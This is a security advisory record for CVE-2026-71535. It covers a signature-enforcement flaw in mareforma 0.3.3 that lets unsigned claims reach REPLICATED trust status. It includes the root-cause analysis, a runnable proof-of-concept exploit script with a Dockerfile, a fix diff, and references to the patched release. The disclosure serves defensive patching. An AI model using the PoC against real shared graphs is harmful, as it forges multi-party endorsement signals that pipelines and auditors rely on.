{"id":"CVE-2026-71535","aliases":["GHSA-8776-qf3h-26r3"],"url":"https://o3.security/vulnerability/CVE-2026-71535","summary":"Mareforma: Unsigned Claims Can Be Promoted to REPLICATED via Missing Signature Enforcement in Convergence Path","details":"### Summary\n\n`mareforma` 0.3.3 contains a critical integrity flaw in the REPLICATED convergence logic (`_maybe_update_replicated_unlocked()` in `mareforma/db/core.py:1300-1319`). The peer-selection SQL query that determines whether two independent claims \"agree\" on the same anchor does not verify that either claim carries a valid cryptographic signature from an enrolled validator key. Because `rekor_enabled=False` is the default and automatically sets `transparency_logged=1` at insert time, every claim — signed or not — immediately satisfies the convergence precondition. An attacker with no Mareforma key can write an unsigned claim to a shared graph, cause it to converge with a legitimate signed peer claim, and have it promoted to `REPLICATED` status. The forged `REPLICATED` row is then returned by the default trust query (`graph.query(min_support=\"REPLICATED\")`), allowing the attacker to inject false trust signals into any downstream consumer relying on `REPLICATED` as a multi-party endorsement guarantee.\n\n### Details\n\n**Root cause — `mareforma/db/core.py:1300-1319`**\n\nThe convergence function `_maybe_update_replicated_unlocked()` selects peer claims using a SQL query that filters on `status`, `unresolved`, `transparency_logged`, and `artifact_hash`, but contains no predicate on `signature_bundle` or enrolled-key identity:\n\n```python\n# mareforma/db/core.py:1300-1319\nrows = conn.execute(\n    f\"\"\"\n    SELECT DISTINCT c.claim_id, c.generated_by\n    FROM claims c, json_each(c.supports_json) j\n    WHERE j.value IN ({placeholders})\n      AND c.claim_id != ?\n      AND c.generated_by != ?\n      AND c.support_level != 'ESTABLISHED'\n      AND c.status = 'open'\n      AND c.unresolved = 0\n      AND c.transparency_logged = 1\n      AND (\n          c.artifact_hash IS NULL\n          OR ? IS NULL\n          OR c.artifact_hash = ?\n      )\n    \"\"\",\n```\n\nOnce peer rows are collected, the sink at `core.py:1324-1334` promotes all matching claim IDs — including the attacker's — to `REPLICATED` without any additional validation.\n\n**Why the preconditions are trivially satisfied**\n\n1. **`transparency_logged = 1` is set automatically.** When `rekor_enabled=False` (the library default), `core.py:1061` sets `transparency_logged = 1` immediately after insert. There is no Rekor step, so every claim becomes convergence-eligible the moment it is written.\n2. **`require_signed=False` is the default.** `mareforma/__init__.py:41` defaults `require_signed` to `False`. When the attacker opens the graph with a non-existent key path, `__init__.py:132-138` silently sets `signer = None`, enabling unsigned claim insertion.\n3. **`assert_claim()` performs no signature gate.** `_graph.py:284-291` only validates DOI resolution on the `supports` list before forwarding attacker-controlled fields to `_db.add_claim()` (`_graph.py:373-380`).\n\n**Why the forged claim surfaces in trust queries**\n\nThe default query path at `core.py:3647-3650` filters out only `PRELIMINARY` claims whose generator is not enrolled. Claims at `REPLICATED` status are returned unconditionally, so the unsigned forged row is indistinguishable from a legitimately converged row in any downstream consumer.\n\n**The helper that should have been called**\n\n`core.py:3661-3669` contains `_extract_signature_bundle_keyid()`, which can extract the key ID from a `signature_bundle`. This helper exists but is never invoked on the convergence path, indicating the validation was inadvertently omitted rather than a design decision.\n\n**Complete data flow (source → sink)**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `cli.py:700-739` | CLI accepts arbitrary `TEXT`, `--supports`, `--generated-by`; lines 720-723 explicitly permit unsigned graph mode |\n| 2 | `__init__.py:128-138` | Missing key file → `signer = None` (no error raised) |\n| 3 | `_graph.py:284-291` | `assert_claim()` forwards user-controlled `supports` after DOI check only |\n| 4 | `_graph.py:373-380` | Calls `_db.add_claim()` with attacker-controlled claim fields |\n| 5 | `db/core.py:1208-1214` | Post-insert convergence triggered when `unresolved == False` and `transparency_logged == 1` |\n| 6 | `db/core.py:1300-1319` | **Peer-selection SQL — no `signature_bundle` or enrolled-key check (vulnerable sink)** |\n| 7 | `db/core.py:1324-1334` | Updates peer and attacker claims to `REPLICATED` |\n| 8 | `db/core.py:3647-3650` | Default query returns `REPLICATED` rows without signature validation |\n\n### PoC\n\n**Prerequisites**\n\n```bash\npython3 -m venv /tmp/mareforma-poc\n/tmp/mareforma-poc/bin/pip install mareforma==0.3.3\n```\n\nOr run the fully self-contained Docker image:\n\n```bash\n# Build (from the repository root, with the local repo mounted under ./repo)\ndocker build -f vuln-001/Dockerfile -t mareforma-vuln001 .\n\n# Run (no network required)\ndocker run --rm --network none mareforma-vuln001\n```\n\n**Step-by-step attack**\n\n```python\n#!/usr/bin/env python3\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport mareforma\nfrom mareforma import signing\n\nwith TemporaryDirectory() as td:\n    root = Path(td)\n    key_path = root / \"root-key.pem\"\n\n    # Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.\n    signing.bootstrap_key(key_path)\n    with mareforma.open(root, key_path=key_path) as g:\n        anchor = g.assert_claim(\n            \"established anchor\",\n            classification=\"DERIVED\",\n            generated_by=\"seed/root\",\n            seed=True,\n        )\n        # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.\n        honest = g.assert_claim(\n            \"same result\",\n            supports=[anchor],\n            generated_by=\"honest-agent\",\n        )\n\n    # Step 3: Attacker opens the same graph with a non-existent key path.\n    #         __init__.py:132-138 silently sets signer=None — unsigned mode.\n    attacker_key = root / \"missing-attacker-key.pem\"  # does not exist\n    with mareforma.open(root, key_path=attacker_key) as g:\n        # Step 4: Attacker inserts an unsigned claim supporting the same anchor.\n        #         Convergence fires in _maybe_update_replicated_unlocked():\n        #           - Two claims share the same ESTABLISHED anchor\n        #           - Different generated_by values\n        #           - Both have transparency_logged=1 (Rekor disabled by default)\n        #           - No signature or enrollment check performed\n        attack = g.assert_claim(\n            \"forged convergence\",\n            supports=[anchor],\n            generated_by=\"attacker-agent\",\n        )\n\n        attack_info = g.get_claim(attack)\n        print(attack_info[\"support_level\"])          # → REPLICATED\n        print(attack_info[\"signature_bundle\"] is None)  # → True (unsigned)\n\n        # Step 5: The unsigned REPLICATED claim appears in the default trust query.\n        results = g.query(min_support=\"REPLICATED\")\n        for r in results:\n            print((r[\"text\"], r[\"support_level\"],\n                   r[\"signature_bundle\"] is None, r[\"generator_enrolled\"]))\n```\n\n**Expected output**\n\n```\nREPLICATED\nTrue\n('established anchor', 'ESTABLISHED', False, True)\n('forged convergence', 'REPLICATED', True, False)   # ← unsigned, unenrolled\n('same result', 'REPLICATED', False, True)\n```\n\nThe forged claim (`signature_bundle=None`, `generator_enrolled=False`) is promoted to `REPLICATED` and returned alongside legitimately signed claims.\n\n**Remediation**\n\nThe convergence path must require both the incoming claim and every selected peer claim to carry a valid `signature_bundle` signed by a distinct enrolled validator key:\n\n```diff\n--- a/mareforma/db/core.py\n+++ b/mareforma/db/core.py\n@@\n-    new_status_row = conn.execute(\n-        \"SELECT status FROM claims WHERE claim_id = ?\", (new_claim_id,),\n+    new_status_row = conn.execute(\n+        \"SELECT status, signature_bundle FROM claims WHERE claim_id = ?\",\n+        (new_claim_id,),\n     ).fetchone()\n     if new_status_row is None or new_status_row[\"status\"] != \"open\":\n         return\n+    from mareforma import validators as _validators\n+    new_keyid = _extract_signature_bundle_keyid(new_status_row[\"signature_bundle\"])\n+    if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):\n+        return\n@@\n-        SELECT DISTINCT c.claim_id, c.generated_by\n+        SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle\n@@\n-    if not rows:\n+    peer_ids = []\n+    for row in rows:\n+        peer_keyid = _extract_signature_bundle_keyid(row[\"signature_bundle\"])\n+        if peer_keyid is None or peer_keyid == new_keyid:\n+            continue\n+        if not _validators.is_enrolled(conn, peer_keyid):\n+            continue\n+        peer_ids.append(row[\"claim_id\"])\n+\n+    if not peer_ids:\n         return\n \n-    peer_ids = [r[\"claim_id\"] for r in rows] + [new_claim_id]\n+    peer_ids = peer_ids + [new_claim_id]\n```\n\n### Impact\n\nThis is an **integrity bypass** vulnerability (CWE-347: Improper Verification of Cryptographic Signature). `REPLICATED` is mareforma's primary multi-party trust signal, intended to convey that at least two independent, enrolled validators have independently observed and signed the same result. By silently bypassing the signature and enrollment checks in the convergence path, the library allows any local agent — with no cryptographic credentials — to forge this trust signal.\n\n**Who is impacted:** Any user or system that queries a mareforma graph with `min_support=\"REPLICATED\"` and treats the result as evidence of multi-party validation. This includes automated pipelines, audit dashboards, policy engines, or downstream consumers that rely on `REPLICATED` status to gate trust decisions (e.g., accepting a dataset, approving a model artifact, or publishing a result).\n\nBecause the forged claim is indistinguishable from a legitimately converged claim in query results, consumers cannot detect the attack without out-of-band inspection of `signature_bundle` and `generator_enrolled` fields — fields that the library's default query interface does not surface prominently.\n\nThe vulnerability is exploitable in the default configuration: `require_signed=False`, `rekor_enabled=False`. The attack requires only local write access to a shared graph database (e.g., a shared filesystem or writable network mount) and no Mareforma key.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nLABEL description=\"VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)\"\nLABEL version=\"0.3.3\"\n\nWORKDIR /app\n\n# Copy the local repository and install from source\nCOPY repo /app/repo\nRUN pip install --no-cache-dir /app/repo\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof of Concept\nTitle: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement\nCWE-347: Improper Verification of Cryptographic Signature\nCVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N\n\nRoot cause:\n  _maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects\n  peer claims for convergence without checking signature_bundle or enrolled-key\n  identity. When rekor_enabled=False (the default), transparency_logged is set\n  to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for\n  the convergence query. An attacker with no key can therefore write an unsigned\n  claim that converges with a legitimate signed peer claim and is promoted to\n  REPLICATED status. The forged REPLICATED row is then returned by the default\n  query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.\n\nAttack steps:\n  1. Honest root agent bootstraps a key; auto-enrolls as root validator on first\n     graph open; asserts an ESTABLISHED seed anchor claim.\n  2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.\n  3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not\n     exist → signer=None per __init__.py:132-138).\n  4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.\n  5. Convergence fires: two claims, same ESTABLISHED anchor, different\n     generated_by, both have transparency_logged=1 (Rekor disabled).\n  6. Both claims are promoted to REPLICATED. No signature check is performed.\n  7. graph.query(min_support=\"REPLICATED\") returns the unsigned forged claim.\n\nExpected evidence (deterministic exit code 0):\n  - attack claim support_level == \"REPLICATED\"\n  - attack claim signature_bundle is None  (unsigned)\n  - attack claim generator_enrolled == False\n  - forged unsigned REPLICATED claim appears in query results\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport mareforma\nfrom mareforma import signing\n\n\nSEPARATOR = \"-\" * 70\n\n\ndef banner(msg: str) -> None:\n    print(f\"\\n{SEPARATOR}\")\n    print(f\"  {msg}\")\n    print(SEPARATOR)\n\n\ndef main() -> int:\n    print(\"VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)\")\n    print(f\"mareforma version: {mareforma.__version__}\")\n\n    with TemporaryDirectory() as td:\n        root = Path(td)\n        key_path = root / \"root-key.pem\"\n\n        # ------------------------------------------------------------------\n        # Step 1: Bootstrap a key for the legitimate root agent.\n        #         On first graph open, this key auto-enrolls as the root\n        #         validator, which is required for seed=True.\n        # ------------------------------------------------------------------\n        banner(\"Step 1: Bootstrap signing key for honest root agent\")\n        signing.bootstrap_key(key_path)\n        print(f\"  Key path : {key_path}\")\n        print(f\"  Exists   : {key_path.exists()}\")\n\n        # ------------------------------------------------------------------\n        # Step 2: Honest root agent creates an ESTABLISHED anchor.\n        #         Uses seed=True, which requires an enrolled validator.\n        #         The first open() with a fresh key auto-enrolls it.\n        # ------------------------------------------------------------------\n        banner(\"Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim\")\n        with mareforma.open(root, key_path=key_path) as g:\n            anchor = g.assert_claim(\n                \"established anchor\",\n                classification=\"DERIVED\",\n                generated_by=\"seed/root\",\n                seed=True,\n            )\n            anchor_info = g.get_claim(anchor)\n            print(f\"  anchor claim_id     : {anchor}\")\n            print(f\"  anchor support_level: {anchor_info['support_level']}\")\n            assert anchor_info[\"support_level\"] == \"ESTABLISHED\", (\n                f\"Unexpected anchor level: {anchor_info['support_level']}\"\n            )\n\n            # Honest agent adds a signed peer claim supporting the anchor.\n            honest = g.assert_claim(\n                \"same result\",\n                supports=[anchor],\n                generated_by=\"honest-agent\",\n            )\n            honest_info = g.get_claim(honest)\n            print(f\"  honest claim_id     : {honest}\")\n            print(f\"  honest support_level: {honest_info['support_level']}\")\n            print(f\"  honest signed       : {honest_info['signature_bundle'] is not None}\")\n\n        # ------------------------------------------------------------------\n        # Step 3: Attacker opens the graph with a non-existent key.\n        #         __init__.py:132-138: missing file → signer=None (unsigned mode).\n        # ------------------------------------------------------------------\n        banner(\"Step 3: Attacker opens graph WITHOUT a key — unsigned mode\")\n        attacker_key = root / \"missing-attacker-key.pem\"\n        print(f\"  Attacker key path: {attacker_key}\")\n        print(f\"  Attacker key exists: {attacker_key.exists()}  (intentionally absent)\")\n\n        with mareforma.open(root, key_path=attacker_key) as g:\n            # Step 4: Attacker asserts an unsigned claim with the same anchor.\n            #         Convergence logic fires: two claims, same ESTABLISHED\n            #         anchor, different generated_by, both transparency_logged=1.\n            banner(\"Step 4: Attacker inserts UNSIGNED claim — triggers convergence\")\n            attack = g.assert_claim(\n                \"forged convergence\",\n                supports=[anchor],\n                generated_by=\"attacker-agent\",\n            )\n\n            attack_info = g.get_claim(attack)\n            attack_support_level = attack_info[\"support_level\"]\n            attack_unsigned = attack_info[\"signature_bundle\"] is None\n            attack_enrolled = attack_info.get(\"generator_enrolled\", False)\n\n            print(f\"  attack claim_id       : {attack}\")\n            print(f\"  attack support_level  : {attack_support_level}\")\n            print(f\"  attack unsigned       : {attack_unsigned}  (signature_bundle is None)\")\n            print(f\"  attack enrolled       : {attack_enrolled}\")\n\n            # Step 5: Verify the unsigned REPLICATED claim appears in the\n            #         default query that consumers rely on for trust decisions.\n            banner(\"Step 5: Query min_support='REPLICATED' — should include forged claim\")\n            results = g.query(min_support=\"REPLICATED\")\n            print(f\"  Total REPLICATED results: {len(results)}\")\n            forged_in_results = False\n            for r in results:\n                is_forged = (\n                    r[\"signature_bundle\"] is None\n                    and r.get(\"generator_enrolled\") is False\n                    and r[\"support_level\"] == \"REPLICATED\"\n                )\n                marker = \"  [FORGED]\" if is_forged else \"         \"\n                print(\n                    f\"{marker} text={r['text']!r:30s} \"\n                    f\"level={r['support_level']:12s} \"\n                    f\"unsigned={r['signature_bundle'] is None!s:5s} \"\n                    f\"enrolled={r.get('generator_enrolled', '?')}\"\n                )\n                if is_forged:\n                    forged_in_results = True\n\n        # ------------------------------------------------------------------\n        # Verdict\n        # ------------------------------------------------------------------\n        banner(\"Verdict\")\n        conditions = {\n            \"attack claim support_level == REPLICATED\": attack_support_level == \"REPLICATED\",\n            \"attack claim is UNSIGNED (signature_bundle is None)\": attack_unsigned,\n            \"attack generator_enrolled == False\": attack_enrolled is False,\n            \"forged REPLICATED claim visible in query results\": forged_in_results,\n        }\n        all_pass = True\n        for desc, result in conditions.items():\n            status = \"PASS\" if result else \"FAIL\"\n            print(f\"  [{status}] {desc}\")\n            if not result:\n                all_pass = False\n\n        if all_pass:\n            print(\n                \"\\n  [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\\n\"\n                \"  An attacker without any key can forge graph trust.\\n\"\n                \"  The convergence path (core.py:1300-1319) does not check\\n\"\n                \"  signature_bundle or enrolled-key identity.\"\n            )\n            return 0\n        else:\n            print(\n                \"\\n  [NOT TRIGGERED] One or more conditions failed.\\n\"\n                \"  Vulnerability may have been patched or env differs.\"\n            )\n            return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","published":"2026-11-18T22:34:20.104Z","modified":"2026-11-19T21:01:26.354704394Z","cvss":{"score":7.1,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"},"epss":{"score":0.00088,"percentile":0.00385,"asOf":"2026-11-19"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"mareforma","fixedVersion":"0.3.7"}],"fix":{"url":"https://github.com/mareforma/mareforma/commit/e1bf09e515693a7f2a2a80852b05fa66be44302e","label":"mareforma/mareforma@e1bf09e"},"references":[{"type":"WEB","url":"https://github.com/mareforma/mareforma/releases/tag/v0.3.7"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/71xxx/CVE-2026-71535.json"},{"type":"ADVISORY","url":"https://github.com/mareforma/mareforma/security/advisories/GHSA-8776-qf3h-26r3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71535"},{"type":"FIX","url":"https://github.com/mareforma/mareforma/commit/e1bf09e515693a7f2a2a80852b05fa66be44302e"},{"type":"FIX","url":"https://github.com/mareforma/mareforma/pull/18"},{"type":"PACKAGE","url":"https://github.com/mareforma/mareforma"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-19T21:01:26.354704394Z"}}